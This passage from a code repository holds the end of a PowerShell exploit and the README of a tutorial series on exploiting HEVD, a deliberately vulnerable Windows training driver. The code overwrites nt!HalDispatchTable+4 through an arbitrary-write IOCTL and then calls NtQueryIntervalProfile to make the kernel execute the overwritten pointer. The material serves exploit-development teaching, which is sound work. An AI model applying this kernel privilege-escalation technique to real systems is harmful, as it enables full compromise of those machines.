handle..`n" 193 | Return 194 | } else { 195 | echo "`n[>] Driver information.." 196 | echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver" 197 | echo "[+] Handle: $hDevice" 198 | } 199 | 200 | # TriggerArbitraryOverwrite() IOCTL = 0x22200B 201 | # => [IntPtr]$WriteWhatPtr->$WriteWhat + $WriteWhere 202 | #--- 203 | [IntPtr]$WriteWhatPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($WriteWhat.Length) 204 | [System.Runtime.InteropServices.Marshal]::Copy($WriteWhat, 0, $WriteWhatPtr, $WriteWhat.Length) 205 | $Buffer = [System.BitConverter]::GetBytes($WriteWhatPtr.ToInt32()) + $WriteWhere 206 | 207 | echo "`n[>] Sending WriteWhatWhere buffer.." 208 | echo "[+] IOCTL: 0x22200B" 209 | echo "[+] Buffer length: $($Buffer.Length)" 210 | echo "[+] WriteWhere: 0x$('{0:X}' -f $($HalDispatchTable+4)) => nt!HalDispatchTable+4`n" 211 | [EVD]::DeviceIoControl($hDevice, 0x22200B, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null 212 | 213 | # NtQueryIntervalProfile()->KeQueryIntervalProfile() 214 | # => KeQueryIntervalProfile+0x23-> call dword HalDispatchTable+0x4 215 | #--- 216 | # kd> 217 | # nt!KeQueryIntervalProfile+0x23: 218 | # 82cd0836 ff150404b382 call dword ptr [nt!HalDispatchTable+0x4 (82b30404)] 219 | # 82cd083c 85c0 test eax,eax 220 | # 82cd083e 7c0b jl nt!KeQueryIntervalProfile+0x38 (82cd084b) 221 | #--- 222 | echo "[>] Calling NtQueryIntervalProfile trigger..`n" 223 | [UInt32]$Dummy = 0 224 | [EVD]::NtQueryIntervalProfile(2,[ref]$Dummy) |Out-Null -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PowerShell-KernelPwn 2 | 3 | Accompanying blog posts on using PowerShell to exploit the [@HackSysTeam](https://twitter.com/hacksysteam) Extreme Vulnerable Driver ([HEVD](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)). 4 | 5 | ### Win7 x32 6 | 7 | | Vulnerability | Status | Link | 8 | | ------------- |:-------------:| -----:| 9 | | *Stack Overflow* | Done | http://www.fuzzysecurity.com/tutorials/expDev/14.html | 10 | | *Arbitrary Overwrite* | Done | http://www.fuzzysecurity.com/tutorials/expDev/15.html | 11 | | *Null Pointer Dereference* | Done | http://www.fuzzysecurity.com/tutorials/expDev/16.html | 12 | | *Uninitialized Stack Variable* | Done | http://www.fuzzysecurity.com/tutorials/expDev/17.html | 13 | | *Integer Overflow* | Done | http://www.fuzzysecurity.com/tutorials/expDev/18.html| 14 | | *Type Confusion* | Exploit Only | N/A | 15 | | *Use After Free* | Done | http://www.fuzzysecurity.com/tutorials/expDev/19.html | 16 | | *Pool Overflow* | Done | http://www.fuzzysecurity.com/tutorials/expDev/20.html | 17 | | *Stack Overflow GS* | To Do | | 18 | | *Uninitialized Heap Variable* | Done | To do | 19 | 20 | ### Win10 x64 (v1511) 21 | 22 | | Vulnerability | Status | Link | 23 | | ------------- |:-------------:| -----:| 24 | | *Arbitrary Overwrite* | Done | http://www.fuzzysecurity.com/tutorials/expDev/21.html | 25 | 26 | ### Win10 x64 (v1607) 27 | 28 | | Vulnerability | Status | Link | 29 | | ------------- |:-------------:| -----:| 30 | | *Double Fetch* | Done | To Do | 31 | 32 | ### Win10 x64 (v1703) 33 | 34 | | Vulnerability | Status | Link | 35 | | ------------- |:-------------:| -----:| 36 | | *Arbitrary Overwrite* | Done | To Do | --------------------------------------------------------------------------------